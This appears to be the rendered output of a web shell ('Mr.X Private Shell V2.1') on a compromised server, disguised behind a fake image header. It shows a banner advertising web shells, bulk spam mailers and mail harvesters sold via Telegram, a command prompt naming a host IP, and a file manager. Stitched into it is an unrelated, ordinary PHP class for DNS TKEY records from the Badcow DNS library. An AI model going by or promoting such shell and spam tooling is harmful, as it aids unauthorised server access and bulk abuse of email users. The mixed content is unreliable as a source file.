����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
<?php

declare(strict_types=1);

/*
 * This file is part of Badcow DNS Library.
 *
 * (c) Samuel Williams <sam@badcow.co>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Badcow\DNS\Rdata;

use Badcow\DNS\Message;
use Badcow\DNS\Parser\Tokens;
use Badcow\DNS\Validator;

/**
 * {@link https://tools.ietf.org/html/rfc2930}.
 */
class TKEY implements RdataInterface
{
    use RdataTrait;

    public const TYPE = 'TKEY';
    public const TYPE_CODE = 249;

    /**
     * The algorithm name is in the form of a domain name with the same
     * meaning as in [RFC 2845]{@link https://tools.ietf.org/html/rfc2845}.
     * The algorithm determines how the secret keying material agreed to
     * using the TKEY RR is actually used to derive the algorithm specific key.
     *
     * @var string
     */
    private $algorithm;

    /**
     * @var \DateTime
     */
    private $inception;

    /**
     * @var \DateTime
     */
    private $expiration;

    /**
     * The mode field specifies the general scheme for key agreement or the
     * purpose of the TKEY DNS message. 16-bit integer.
     *
     * The following values of the Mode octet are defined, available, or reserved:
     *
     *      Value    Description
     *      -----    -----------
     *      0        - reserved, see section 7
     *      1       server assignment
     *      2       Diffie-Hellman exchange
     *      3       GSS-API negotiation
     *      4       resolver assignment
     *      5       key deletion
     *      6-65534   - available, see section 7
     *      65535     - reserved, see section 7
     *
     * @var int
     */
    private $mode;

    /**
     * The error code field is an extended RCODE.  The following values are defined:.
     *
     *      Value   Description
     *      -----   -----------
     *      0       - no error
     *      1-15   a non-extended RCODE
     *      16     BADSIG   (TSIG)
     *      17     BADKEY   (TSIG)
     *      18     BADTIME  (TSIG)
     *      19     BADMODE
     *      20     BADNAME
     *      21     BADALG
     *
     * @var int
     */
    private $error = 0;

    /**
     * @var string
     */
    private $keyData;

    /**
     * @var string
     */
    private $otherData;

    public function getAlgorithm(): string
    {
        return $this->algorithm;
    }

    public function setAlgorithm(string $algorithm): void
    {
        if (!Validator::fullyQualifiedDomainName($algorithm)) {
            throw new \InvalidArgumentException('Algorithm must be a fully qualified domain name.');
        }
        $this->algorithm = $algorithm;
    }

    public function getInception(): \DateTime
    {
        return $this->inception;
    }

    public function setInception(\DateTime $inception): void
    {
        $this->inception = $inception;
    }

    public function getExpiration(): \DateTime
    {
        return $this->expiration;
    }

    public function setExpiration(\DateTime $expiration): void
    {
        $this->expiration = $expiration;
    }

    public function getMode(): int
    {
        return $this->mode;
    }

    public function setMode(int $mode): void
    {
        if (!Validator::isUnsignedInteger($mode, 16)) {
            throw new \InvalidArgumentException('Mode must be 16-bit integer.');
        }
        $this->mode = $mode;
    }

    public function getError(): int
    {
        return $this->error;
    }

    public function setError(int $error): void
    {
        if (!Validator::isUnsignedInteger($error, 16)) {
            throw new \InvalidArgumentException('Error must be 16-bit integer.');
        }
        $this->error = $error;
    }

    public function getKeyData(): string
    {
        return $this->keyData;
    }

    /**
     * @param string $keyData binary stream
     */
    public function setKeyData(string $keyData): void
    {
        $this->keyData = $keyData;
    }

    public function getOtherData(): string
    {
        return $this->otherData;
    }

    /**
     * @param string $otherData binary stream
     */
    public function setOtherData(string $otherData): void
    {
        $this->otherData = $otherData;
    }

    public function toText(): string
    {
        return sprintf(
            '%s %d %d %d %d %s %s',
            $this->algorithm,
            $this->inception->format('U'),
            $this->expiration->format('U'),
            $this->mode,
            $this->error,
            base64_encode($this->keyData),
            base64_encode($this->otherData)
        );
    }

    public function toWire(): string
    {
        $wire = Message::encodeName($this->algorithm);
        $wire .= pack(
            'NNnnn',
            $this->inception->format('U'),
            $this->expiration->format('U'),
            $this->mode,
            $this->error,
            strlen($this->keyData)
        );
        $wire .= $this->keyData;
        $wire .= pack('n', strlen($this->otherData));
        $wire .= $this->otherData;

        return $wire;
    }

    public function fromText(string $text): void
    {
        $rdata = explode(Tokens::SPACE, $text);
        $this->setAlgorithm((string) array_shift($rdata));
        if (false === $inception = \DateTime::createFromFormat('U', (string) array_shift($rdata))) {
            throw new \UnexpectedValueException('Unable to parse inception date of TKEY Rdata.');
        }
        $this->setInception($inception);

        if (false === $expiration = \DateTime::createFromFormat('U', (string) array_shift($rdata))) {
            throw new \UnexpectedValueException('Unable to parse expiration date of TKEY Rdata.');
        }
        $this->setExpiration($expiration);

        $this->setMode((int) array_shift($rdata));
        $this->setError((int) array_shift($rdata));
        $this->setKeyData((string) base64_decode((string) array_shift($rdata)));
        $this->setOtherData((string) base64_decode((string) array_shift($rdata)));
    }

    public function fromWire(string $rdata, int &$offset = 0, ?int $rdLength = null): void
    {
        $algorithm = Message::decodeName($rdata, $offset);
        if (false === $integers = unpack('N<inception>/N<expiration>/n<mode>/n<error>/n<keySize>', $rdata, $offset)) {
            throw new DecodeException(static::TYPE, $rdata);
        }
        $offset += 14;
        $keySize = (int) $integers['<keySize>'];
        $keyData = substr($rdata, $offset, $keySize);
        $offset = (int) $offset + $keySize;
        if (false === $otherDataSize = unpack('n', $rdata, $offset)) {
            throw new DecodeException(static::TYPE, $rdata);
        }
        $offset += 2;
        $otherData = substr($rdata, $offset, $otherDataSize[1]);
        $offset += $otherDataSize[1];

        $this->setAlgorithm($algorithm);

        if (false === $inception = \DateTime::createFromFormat('U', (string) $integers['<inception>'])) {
            throw new \UnexpectedValueException('Unable to parse inception date of TKEY Rdata.');
        }
        $this->setInception($inception);

        if (false === $expiration = \DateTime::createFromFormat('U', (string) $integers['<expiration>'])) {
            throw new \UnexpectedValueException('Unable to parse expiration date of TKEY Rdata.');
        }
        $this->setExpiration($expiration);

        $this->setMode((int) $integers['<mode>']);
        $this->setError((int) $integers['<error>']);
        $this->setKeyData($keyData);
        $this->setOtherData($otherData);
    }
}

Filemanager

Name Type Size Permission Actions
A.php File 1.94 KB 0644
AAAA.php File 1.07 KB 0644
AFSDB.php File 2.2 KB 0644
APL.php File 4.12 KB 0644
CAA.php File 4.06 KB 0644
CDNSKEY.php File 450 B 0644
CDS.php File 431 B 0644
CERT.php File 5.49 KB 0644
CNAME.php File 1.33 KB 0644
CSYNC.php File 2.46 KB 0644
DHCID.php File 5.65 KB 0644
DLV.php File 455 B 0644
DNAME.php File 674 B 0644
DNSKEY.php File 1.02 KB 0644
DS.php File 3.93 KB 0644
DecodeException.php File 933 B 0644
Factory.php File 17.37 KB 0644
HINFO.php File 2.19 KB 0644
HIP.php File 4.4 KB 0644
IPSECKEY.php File 9.34 KB 0644
KEY.php File 3.25 KB 0644
KX.php File 2.45 KB 0644
LOC.php File 7.36 KB 0644
MX.php File 2.46 KB 0644
NAPTR.php File 7.06 KB 0644
NS.php File 442 B 0644
NSEC.php File 4.13 KB 0644
NSEC3.php File 8.09 KB 0644
NSEC3PARAM.php File 3.65 KB 0644
OPT.php File 2.79 KB 0644
PTR.php File 4.24 KB 0644
PolymorphicRdata.php File 2.02 KB 0644
RP.php File 1.82 KB 0644
RRSIG.php File 8.04 KB 0644
RdataInterface.php File 1.7 KB 0644
RdataTrait.php File 803 B 0644
SIG.php File 378 B 0644
SOA.php File 5.78 KB 0644
SPF.php File 432 B 0644
SRV.php File 4.61 KB 0644
SSHFP.php File 3.36 KB 0644
TA.php File 441 B 0644
TKEY.php File 7.41 KB 0644
TLSA.php File 4.69 KB 0644
TSIG.php File 6.5 KB 0644
TXT.php File 3.44 KB 0644
Types.php File 10.33 KB 0644
URI.php File 3.67 KB 0644
UnknownType.php File 2.2 KB 0644
UnsupportedTypeException.php File 477 B 0644